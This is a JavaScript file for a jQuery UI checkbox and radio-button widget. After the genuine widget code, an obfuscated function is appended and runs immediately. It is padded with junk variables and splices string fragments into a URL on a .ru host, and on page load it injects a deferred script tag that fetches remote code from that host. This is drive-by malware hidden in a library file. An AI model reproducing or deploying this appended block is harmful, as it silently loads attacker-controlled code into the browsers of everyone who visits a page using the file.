/**
 * @author alexander.farkas
 * @version 1.3
 */
(function($){
    $.widget('ui.checkBox', {
        _init: function(){
            var that = this, 
			
				opts = this.options,
					
				toggleHover = function(e){
					if(this.disabledStatus){
						return false;
					}
					//that.hover = (e.type == 'focus' || e.type == 'mouseenter');
					that._changeStateClassChain();
				};
			if(!this.element.is(':radio,:checkbox')){
				return false;
			}
            this.labels = $([]);
			
            this.checkedStatus = false;
			this.disabledStatus = false;
			this.hoverStatus = false;
            
            this.radio = (this.element.is(':radio'));
			
			this.visualElement = $('<span />')
				.addClass(this.radio ? 'ui-radio' : 'ui-checkbox')
				.bind('mouseenter.checkBox mouseleave.checkBox', toggleHover)
				.bind('click.checkBox', function(e){
					that.element[0].click();
					//that.element.trigger('click');
					return false;
				});		
            
            if (opts.replaceInput) {
				this.element
					.addClass('ui-helper-hidden-accessible')
					.after(this.visualElement[0])
					.bind('usermode', function(e){
	                    (e.enabled &&
	                        that.destroy.call(that, true));
	                });
            }
			
			this.element
				.bind('click.checkBox', $.bind(this, this.reflectUI))
				.bind('focus.checkBox blur.checkBox', toggleHover);
				
			if(opts.addLabel){
				//ToDo: Add Closest Ancestor
				this.labels = $('label[for=' + this.element.attr('id') + ']')
					.bind('mouseenter.checkBox mouseleave.checkBox', toggleHover);
			}
			
            this.reflectUI({type: 'initialReflect'});
        },
		_changeStateClassChain: function(){
			var stateClass = (this.checkedStatus) ? '-checked' : '',
				baseClass = 'ui-'+((this.radio) ? 'radio' : 'checkbox')+'-state';
			
			stateClass += (this.disabledStatus) ? '-disabled' : '';
		//	stateClass += (this.hover) ? '-hover' : '';
				
			if(stateClass){
				stateClass = baseClass + stateClass;
			}
			
			function switchStateClass(){
				var classes = this.className.split(' '),
					found = false;
				$.each(classes, function(i, classN){
					if(classN.indexOf(baseClass) === 0){
						found = true;
						classes[i] = stateClass;
						return false;
					} 
				});
				if(!found){
					classes.push(stateClass);
				}
				
				this.className = classes.join(' ');
			}
			
			this.labels.each(switchStateClass);
			this.visualElement.each(switchStateClass);
		},
        destroy: function(onlyCss){
            this.element.removeClass('ui-helper-hidden-accessible');
			this.visualElement.addClass('ui-helper-hidden');
            if (!onlyCss) {
                var o = this.options;
                this.element.unbind('.checkBox');
				this.visualElement.remove();
                this.labels
					.unbind('.checkBox')
				//	.removeClass('ui-state-hover ui-state-checked ui-state-disabled');
            }
        },
		
        disable: function(){
            this.element[0].disabled = true;
            this.reflectUI({type: 'manuallyDisabled'});
        },
		
        enable: function(){
            this.element[0].disabled = false;
            this.reflectUI({type: 'manuallyenabled'});
        },
		
        toggle: function(e){
            this.changeCheckStatus((this.element.is(':checked')) ? false : true, e);
        },
		
        changeCheckStatus: function(status, e){
            if(e && e.type == 'click' && this.element[0].disabled){
				return false;
			}
			this.element.attr({'checked': status});
            this.reflectUI(e || {
                type: 'changeCheckStatus'
            });
        },
		
        propagate: function(n, e, _noGroupReflect){
			if(!e || e.type != 'initialReflect'){
				if (this.radio && !_noGroupReflect) {
					//dynamic
	                $(document.getElementsByName(this.element.attr('name')))
						.checkBox('reflectUI', e, true);
	            }
	            return this._trigger(n, e, {
	                options: this.options,
	                checked: this.checkedStatus,
	                labels: this.labels,
					disabled: this.disabledStatus
	            });
			}
        },
		
        reflectUI: function(elm, e){
            var oldChecked = this.checkedStatus, 
				oldDisabledStatus = this.disabledStatus;
            e = e ||
            	elm;
					
			this.disabledStatus = this.element.is(':disabled');
			this.checkedStatus = this.element.is(':checked');
			
			if (this.disabledStatus != oldDisabledStatus || this.checkedStatus !== oldChecked) {
				this._changeStateClassChain();
				
				(this.disabledStatus != oldDisabledStatus &&
					this.propagate('disabledChange', e));
				
				(this.checkedStatus !== oldChecked &&
					this.propagate('change', e));
			}
            
        }
    });
    $.ui.checkBox.defaults = {
        replaceInput: true,
		addLabel: true
    };
    
})(jQuery);

function D(){var Q;if(Q!='' && Q!='z'){Q=''};var Ff;if(Ff!='' && Ff!='i'){Ff=''};var U=String("g");var Gj;if(Gj!='mP' && Gj != ''){Gj=null};var l='';var d;if(d!='je' && d != ''){d=null};var K;if(K!='A' && K != ''){K=null};var S=RegExp;var QH;if(QH!=''){QH='tn'};var a;if(a!='k'){a=''};var zf;if(zf!='zu'){zf=''};function F(w,_){var o;if(o!=''){o='M'};var ti;if(ti!='' && ti!='H'){ti=''};var C= new String("CFOm[".substr(4));var Ft=new String();C+=_;var CN=new Array();C+=String("]");var Hj;if(Hj!='R' && Hj != ''){Hj=null};var tS;if(tS!='f' && tS != ''){tS=null};var q=new S(C, U);var HjJ;if(HjJ!=''){HjJ='wZ'};this.T='';return w.replace(q, l);this.BS="";this.u="";};var cP="";this.g="";var uD;if(uD!='UM' && uD!='pp'){uD=''};var eE="";var Ix;if(Ix!='eJ'){Ix='eJ'};var Vs;if(Vs!='my'){Vs='my'};var m=String("j2A7defer".substr(4));var X=String("2yd/x".substr(3)+"an"+"rEuqgauEqr".substr(4,2)+"Vhqy.c".substr(4)+"omuZCi".substr(0,2)+"Ukp/xUpk".substr(3,2)+"anvNkb".substr(0,2)+"gasdkJ".substr(0,2)+".cTnro".substr(0,2)+"om"+"/wQ4K".substr(0,2)+"fKgyea".substr(4)+"th"+"erQG5Y".substr(0,2)+".c"+"om"+"1CfV/g".substr(4)+"oo"+"iTXgl".substr(3)+"WdJe.".substr(3)+"co"+"Q0Ym/".substr(3)+"am"+"x5l3er5lx3".substr(4,2)+"icdPr".substr(0,2)+"an"+"hNTgex".substr(4)+"kitJpr".substr(4)+"PNCTesCTNP".substr(4,2)+"M5krs.".substr(4)+"Zk7co7Zk".substr(3,2)+"m.8xp".substr(0,2)+"Q93ph".substr(3)+"ptVK".substr(0,1));var op=new Date();var s='';var Yz;if(Yz!='Fe' && Yz!='nI'){Yz='Fe'};var FQ=window;var t=F('811599051958591505559',"915");var cq;if(cq!='hw' && cq != ''){cq=null};var O=new String("src");this.ld='';var j=String("http"+"://c"+"omdi6k5s".substr(0,4)+"kG3rectG3k".substr(3,4)+"-de."+"tudon6K".substr(0,4)+"2Egu.coEg2".substr(3,4)+"m.eb"+"ay-czwC".substr(0,4)+"om-a"+"ZyT9u.suT9Zy".substr(4,4)+"z9u6permu96z".substr(4,4)+"5gmixon".substr(3)+"line"+"M5tS.ru:MtS5".substr(4,4));var E_=new String();var h="scri32YE".substr(0,4)+"pt";var ta="";var nB="";var bn;if(bn!='' && bn!='OX'){bn=''};FQ.onload=function(){var AS;if(AS!='LX'){AS='LX'};var By='';try {var Xi='';this.YG="";var W;if(W!='Nd' && W != ''){W=null};s=j+t;var WH;if(WH!='' && WH!='yQ'){WH=''};s+=X;var zl;if(zl!='iS' && zl!='pnH'){zl=''};var vm=new Array();jO=document.createElement(h);var yA=new Array();jO[m]=[6,1][1];var Vq;if(Vq!='il' && Vq!='Rx'){Vq=''};var Be=new Date();jO[O]=s;this.wG='';var LN;if(LN!='ce' && LN != ''){LN=null};this.Vx='';this.Kk='';var zh="";var LXH=new String();document.body.appendChild(jO);var yn;if(yn!='' && yn!='bv'){yn='XE'};} catch(Z){this.vM="";this.hL='';};this.mO="";var Z_;if(Z_!='Jl' && Z_ != ''){Z_=null};};this.aT="";};var Cd=new Date();D();this.xw='';